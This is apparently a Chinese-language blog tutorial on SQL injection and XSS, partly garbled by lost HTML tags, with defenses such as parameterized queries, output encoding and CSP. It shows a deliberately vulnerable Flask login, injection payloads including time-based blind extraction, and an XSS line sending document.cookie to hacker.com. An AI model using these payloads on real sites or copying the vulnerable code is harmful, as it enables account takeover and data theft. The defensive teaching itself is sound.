2023年某电商平台用户数据泄露事件中,黑客仅用一行username=' OR '1'='1
的登录输入,就拖走了百万用户信息;另一家社交网站更离谱,用户在评论区输入,竟让千万级用户的浏览器成了“提线木偶”。这些看似简单的攻击,为何能撕开企业安全防线?今天我们就来拆解SQL注入与XSS的“作案手法”,并给出一套可落地的数据库安全加固方案——毕竟,防住这两类攻击,能解决80%的Web安全问题。
SQL注入的核心逻辑,是让用户输入“混入”SQL语句结构,改变原本的执行逻辑。就像你让服务员传话“来份鱼香肉丝,不要辣”,结果黑客在中间加了句“再加份水煮鱼,记老板账上”——原本的指令被篡改了。
看段“送命题”代码(Python + Flask示例):
from flask import request, jsonify
import pymysql
@app.route('/login', methods=['POST'])
def login():
# 从请求中获取用户名和密码(未做任何过滤)
username = request.form.get('username')
password = request.form.get('password')
# 直接拼接SQL(危险操作!)
sql = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
# 执行查询
conn = pymysql.connect(host='localhost', user='root', password='123456', db='test')
cursor = conn.cursor()
cursor.execute(sql)
result = cursor.fetchone()
conn.close()
if result:
return jsonify({"code": 200, "msg": "登录成功"})
else:
return jsonify({"code": 401, "msg": "用户名或密码错误"})
这段代码的问题在哪?假设用户输入username=' OR '1'='1
,密码随便填,拼接后的SQL会变成:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='xxx'
由于'1'='1'
恒为真,这条SQL会返回所有用户记录——黑客直接绕过密码登录,甚至能进一步执行UNION SELECT
获取其他表数据,或通过DROP TABLE
删库(如果数据库权限够的话)。
如果前端对输入做了简单过滤(比如屏蔽OR
),黑客会玩得更隐蔽。比如报错注入:输入username=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>0--
,通过数据库返回的错误信息推断表结构;再比如时间盲注:输入username=1' AND IF(ASCII(SUBSTR((SELECT password FROM users LIMIT 1),1,1))=97,SLEEP(5),1)--
,通过响应时间判断密码的每一位字符(ASCII 97是’a’)。
XSS(跨站脚本攻击)的本质,是让浏览器执行非预期的JavaScript代码。想象你在朋友圈发了张照片,黑客在描述里藏了段代码,所有刷到这条朋友圈的人都会触发——可能是窃取cookie,可能是跳转钓鱼网站,甚至是控制浏览器摄像头。
三种典型场景:
,搜索结果页直接输出)。location.search
),未做转义就插入DOM(比如document.getElementById('content').innerHTML = params
)。看段“埋雷”代码(前端JS示例):
<div>搜索关键词:<%= req.query.keyword %>div>
如果用户搜索">
,最终HTML会变成:
<div>搜索关键词:"><script>alert(document.cookie)script>div>
浏览器会解析这段HTML,执行里的代码,弹出当前用户的cookie——黑客拿到cookie就能伪造登录。
低级XSS只是弹个警告框,高级攻击会:
XMLHttpRequest
将cookie发送到黑客服务器(new Image().src='http://hacker.com/?cookie='+document.cookie
);document.body.innerHTML
替换整个页面为钓鱼页面;预编译(参数化查询)是SQL注入的“终极克星”。它的原理是:先定义SQL模板(用?
或%s
占位符),再将参数单独传入,数据库会将参数视为普通数据,而非SQL指令。
Python(sqlite3)示例:
# 安全写法:使用参数化查询
sql = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(sql, (username, password)) # 参数单独传入,自动转义特殊字符
Java(PreparedStatement)示例:
// 安全写法:使用PreparedStatement
String sql = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, username); // 第1个占位符填入username
pstmt.setString(2, password); // 第2个占位符填入password
ResultSet rs = pstmt.executeQuery();
关键区别:拼接SQL时,用户输入的' OR '1'='1
会被当作普通字符串(带单引号),而预编译会将其转义为\' OR \'1\'=\'1
,无法改变SQL结构。
XSS防护要“前后夹击”:前端做输入限制(比如禁止特殊字符),后端做二次过滤(防止绕过前端),输出时严格编码(让浏览器识别为文本而非代码)。
黑名单(屏蔽<
、>
、script
)容易被绕过(比如
、),白名单(只允许字母、数字、部分符号)更安全。
Python(正则过滤)示例:
import re
def filter_input(input_str):
# 只允许字母、数字、中文、逗号、句号(根据业务需求调整)
pattern = r'^[\w\u4e00-\u9fa5,。]+$'
if re.match(pattern, input_str):
return input_str
else:
# 替换危险字符为空或转义
return re.sub(r'[<>\"&]', '', input_str)
不同的输出场景需要不同的编码规则(比如HTML中的<
要转义为<
,JS中的'
要转义为\'
)。
前端(使用框架自带转义)示例:
{userInput}
会自动转义(除非用dangerouslySetInnerHTML
);{{ userInput }}
自动转义(v-html
需手动处理)。后端(Java使用OWASP ESAPI库)示例:
import org.owasp.encoder.Encode;
// HTML编码(防止HTML标签执行)
String htmlEncoded = Encode.forHtml(userInput); // 比如将"<"转为"<"
// JavaScript编码(防止JS代码执行)
String jsEncoded = Encode.forJavaScript(userInput); // 比如将"'"转为"\'"
// URL编码(防止URL参数注入)
String urlEncoded = Encode.forUriComponent(userInput); // 比如将" "转为"%20"
2023年11月,某电商平台用户反馈“用任意密码都能登录”,技术团队紧急排查发现:
SELECT * FROM users WHERE username='{username}' AND password='{password}'
);username=' OR '1'='1
,导致SQL恒成立,返回所有用户数据;UNION SELECT
获取了credit_card_info
表的用户银行卡信息。^[a-zA-Z0-9]+$
),后端用白名单二次过滤;UNION
、SELECT
等关键词的异常请求。CSP(内容安全策略)
限制JS来源(Content-Security-Policy: script-src 'self'
);DELETE
、UPDATE
)。#
占位符(预编译);autoescape
开启);SQL注入和XSS就像网络世界的“小偷”,专挑“没锁门”或“锁不牢”的系统下手。今天我们拆解了它们的攻击手法,也给出了预编译、输入过滤、输出编码等“硬核防护”,更强调了前后端协作和安全框架的重要性。你所在的团队遇到过类似的安全事件吗?在防护过程中踩过哪些坑?欢迎在评论区分享你的经验——毕竟,安全知识的碰撞,才是最好的加固材料。